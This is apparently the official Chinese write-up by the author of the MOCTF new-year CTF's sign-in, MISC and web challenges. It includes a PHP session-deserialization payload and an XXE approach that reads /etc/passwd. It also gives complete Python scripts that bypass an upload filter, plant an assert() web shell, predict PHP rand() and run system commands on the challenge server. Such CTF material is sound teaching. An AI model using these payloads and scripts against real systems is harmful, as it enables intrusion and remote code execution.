跳转至

从放假到现在筹办准备了接近两个星期的MOCTF新春欢乐赛终于落幕啦,这次比赛我一共出了1签到+1MISC+3WEB,下面先放官方WriteUp(哇终于能当一回官方了)

签到

签到 20

支付宝今年集齐五福能一起平分多少钱?
flag格式:moctf{数字}

flag:moctf{500000000}

MISC

空word 100

真的什么都没有吗

文件是个word 打开看发现一些奇怪的换行和tab img 很容易想到是摩斯密码,替换后得到

-.... -.. -.... ..-. -.... ...-- --... ....- -.... -.... --... -... ....- ..--- -.... -.-. ...-- ....- -.... . -.... -... ..... ..-. ...-- ----- --... ..--- ..... ..-. --... ....- -.... .---- -.... ..--- ...-- ..-. --... -..

解摩斯密码,然后hex转字符串得到flag

WEB

登录一哈 300

登录一下,你就知道。
http://111.230.32.124:6001/

源码放到git里泄露给大家了 index.php

<?php
    ini_set('session.serialize_handler', 'php_binary');
    session_start();

    if(isset($_POST['username']) && isset($_POST['password'])){
        $username = $_POST['username'];
        $password = $_POST['password'];
        $_SESSION["username"] = $username;
        header("Location:./index.php");
    }
    else if(isset($_SESSION["username"])){
        echo '<h1>hello '.$_SESSION["username"].'</h1>';
    }
    else ...

flag.php

<?php
session_start();
class MOCTF{
    public $flag;
    public $name;
    function __destruct(){
        $this->flag = "moctf{xxxxxxxxxxxxxxxx}";
        if($this->flag == $this->name){
            echo "Wow,this is flag:".$this->flag;
        }
    }
}

看源码就可以知道这道题考查的是session反序列漏洞了 在index.php中php的序列化handler是’php_binary’,而flag.php里没有设置,就是默认的’php’

ini_set('session.serialize_handler', 'php_binary');

参考https://blog.spoock.com/2016/10/16/php-serialize-problem/ index.php中的$_session['username']可控,我们就能构造payload到session, 然后访问flag.php页面就能触发反序列化执行__destruct了, 这里还有个考点是$this->flag == $this->name,通过引用的方式绕过。 构造payload

$a = new MOCTF();
$a->name = &$a->flag;
echo '|'.serialize($a);
|O:5:"MOCTF":2:{s:4:"flag";N;s:4:"name";R:2;}

提交到index.php的username,然后访问flag.php就得到flag了

字符串检查 400

来检查一下你的字符串是否格式良好吧!
http://111.230.32.124:6002/

原意是xxe漏洞读取任意文件 后来知道师傅们卡了很久貌似是因为client-ip的原因,我的锅 题目打开是个json字符串验证的页面,POST包的Content-Type字段是application/json, POST后接口会返回json格式正确或错误的结果 改成application/xml,接口提示只允许本机访问,于是构造

client-ip:localhost

然后就是xxe盲打漏洞了,参考https://security.tencent.com/index.php/blog/msg/69 这里我只限制了payload长度为170以内,其实完全可以更短的,希望大佬们可以测试测试 最后flag在/etc/passwd

简单审计 400

代码都给你了,还说不会做?
http://120.78.57.208:6005/

index.php

<?php
error_reporting(0);
include('config.php');
header("Content-type:text/html;charset=utf-8");
function get_rand_code($l = 6) {
    $result = '';
    while($l--) {
        $result .= chr(rand(ord('a'), ord('z')));
    }
    return $result;
}

function test_rand_code() {
    $ip=$_SERVER['REMOTE_ADDR'];
    $code=get_rand_code();
    $socket = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
    @socket_connect($socket, $ip, 8888);
    @socket_write($socket, $code.PHP_EOL);
    @socket_close($socket);
    die('test ok!');
}

function upload($filename, $content,$savepath) {
    $AllowedExt = array('bmp','gif','jpeg','jpg','png');
    if(!is_array($filename)) {
        $filename = explode('.', $filename);
    }
    if(!in_array(strtolower($filename[count($filename)-1]),$AllowedExt)){
        die('error ext!');
    }
    $code=get_rand_code();
    $finalname=$filename[0].'moctf'.$code.".".end($filename);
    file_put_contents("$savepath".$finalname, $content);
    usleep(3000000);
    unlink("$savepath".$finalname);
    die('upload over!');
}

$savepath="uploads/".sha1($_SERVER['REMOTE_ADDR'])."/";
if(!is_dir($savepath)){
    $oldmask = umask(0);
    mkdir($savepath, 0777);
    umask($oldmask);
}
if(isset($_GET['action']))
{
    $act=$_GET['action'];
    if($act==='upload')
    {
        $filename=$_POST['filename'];
        if(!is_array($filename)) {
            $filename = explode('.', $filename);
        }
        $content=$_POST['content'];
        waf($content);
        upload($filename,$content,$savepath);
    }
    else if($act==='test')
    {
        test_rand_code();
    }
}
else {
    highlight_file('index.php');
}
?>

解释一下题目的意思 根据action执行对应操作,action=test会调用test_rand_code函数发送tcp包到访客的ip action=upload时会写入一个文件,文件内容有waf拦截,文件名有白名单限制后缀, 然后拼接文件名加入rand的字符串,写入文件,文件写入后过3秒unlink删除 有问题的点有这几个 1.filename检查是用$filename[count($filename)-1]取的后缀,是按照下标取的,而写入文件时用的是end($filename),是取最后一个元素,只要post时提交filename[1]=jpg&filename[0]=php就能绕过了 2.$content的waf绕过, 绕过即可 3.使用rand()生成随机数,可以被预测,参考https://www.sjoerdlangkemper.nl/2016/02/11/cracking-php-rand/

预期解法是 1.username数组bypass后缀检查,绕过content的waf 2.rand随机数预测+爆破文件名 在unlink之前访问shell 结果大佬们直接非预期解bypass了unlink打扰了 非预期解参考一叶飘零师傅的WriteUp 预期解如下 写两个脚本, listen.py

#监听8888端口,接受6个`get_rand_code`的结果,然后预测接下来一次`get_rand_code`的结果,这里可能不会很准确,
#所以需要小幅度爆破,复杂度大概为3^6,反正就跑着呗

#!/usr/bin/env python
#-*- coding:utf-8 -*-
#by xishir
import requests as req
import re
from socket import *  
from time import ctime  
import random
import itertools as its
import hashlib

r=req.session()
url="http://120.78.57.208:6005/"


def get_rand_list():
    HOST = ''  
    PORT = 8888
    BUFSIZ = 128  
    ADDR = (HOST, PORT)  
    tcpSerSock = socket(AF_INET, SOCK_STREAM)
    tcpSerSock.bind(ADDR)
    tcpSerSock.listen(5)
    rand_num=0
    l=[]
    while True:
        tcpCliSock, addr = tcpSerSock.accept()  
        while True:  
            data = tcpCliSock.recv(BUFSIZ)  
            if not data:  
                break  
            data=data[0:6]
        print data,l
            for i in data:
                l.append(ord(i)+1-ord('a'))
        rand_num+=1
        if rand_num==6:
            break
    tcpCliSock.close()  
    tcpSerSock.close()
    return l

def get_salt(l):
    salt=""
    for i in range(6):
        j=len(l)
        r=(l[j-3]+l[j-31])-1
        if r>26:
            r-=26
        #print l[j-3],chr(l[j-3]+ord('a')-1),l[j-31],chr(l[j-31]+ord('a')-1),r,chr(r+ord('a')-1)
        l.append(r)
        salt+=chr(r+ord('a')-1)
        #print salt
    return salt

def get_flag(salt):
    s=hashlib.sha1('119.23.73.3').hexdigest()
    url1=url+'/uploads/'+s+'/'+'moctf'+salt+'.php'
    data={"a":"system('cat ../../flag.php');echo '666666';"}
    r2=r.post(url1,data=data)
    print salt
    if '404' not in r2.text:
        print r2.text

get_flag('aaaaaa')
l=get_rand_list()
salt=get_salt(l)
s=0
for i in range(100000):
    s=s+1
print s
words = "10"
o=its.product(words,repeat=6)
for i in o:
    s="".join(i)
    salt2=""
    for j in range(6):
        salt2+=chr(ord(salt[j])-int(s[j]))
    get_flag(salt2)
words = "10"
o=its.product(words,repeat=6)
for i in o:
    s="".join(i)
    salt2=""
    for j in range(6):
        salt2+=chr(ord(salt[j])+int(s[j]))
    get_flag(salt2)

put.py

#通过`?action=test`调用`test_rand_code`函数发送6次`get_rand_code`结果,一共36个字符,
#然后提交一个构造好的`?action=test`,上传shell到服务器,在被删除之前就会被listen爆破得到,没爆破到就多爆破几次

#!/usr/bin/env python
#-*- coding:utf-8 -*-
#by xishir
import requests as req
import re

r=req.session()
url="http://120.78.57.208:6005/?action="


def get_test():
    url2=url+"test"
    r1=r.get(url2)
    print url2
    print r1.text
def upload():
    data={"filename[4]":"jpg",
          "filename[2]":"jpg",
          "filename[1]":"php",
          "content":"<script language='php'>assert($_POST[a]);</script>",
          "a":"system('cat ../../flag.php');"
          }
    url1=url+"upload"
    r2=r.post(url1,data=data)
    print r2.text

for i in range(6):
    get_test()
upload()

运行结果如下 img

感想

讲一下这次比赛我主要干了那些事吧

  1. 出题,如上所述
  2. 平台搭建,用的是ctfd,docker的方式搭建的,省了很多事
  3. 题目部署,除了ping那题,其他的web都是我部署的,尤其是cms那题,反复部署的有点吐,中间有个集大学弟来帮忙,后面比赛的时候还是出了问题
  4. 发布题目,emmmmmmmmmm,用ctfd的时候出现了很神奇的情况,在编辑config的时候使用谷歌的自动翻译,保存之后ctfd的web服务就挂掉啦!是个巨坑,现在还不知道咋回事
  5. 比赛时候的放题,放hint,运维,水群,哈哈哈哈和大佬们玩耍还是很开心的 放一些后台数据 img img img

原来只是想给我们学校和集大的学弟们体验比赛的,不过对外开放也吸引了许多师傅们来做题,虽然运维得很累,但也学到了很多东西(主要是非预期和部署各种奇葩环境) 打一波广告,http://www.moctf.com/ MOCTF平台是CodeMonster和Mokirin这两支CTF战队所搭建的一个CTF在线答题系统。题目形式与各大CTF比赛相同。目的是为两个学校中热爱信息安全的同学们提供一个刷题的平台,能够一起学习、进步。

最后祝大家新年快乐! img

评论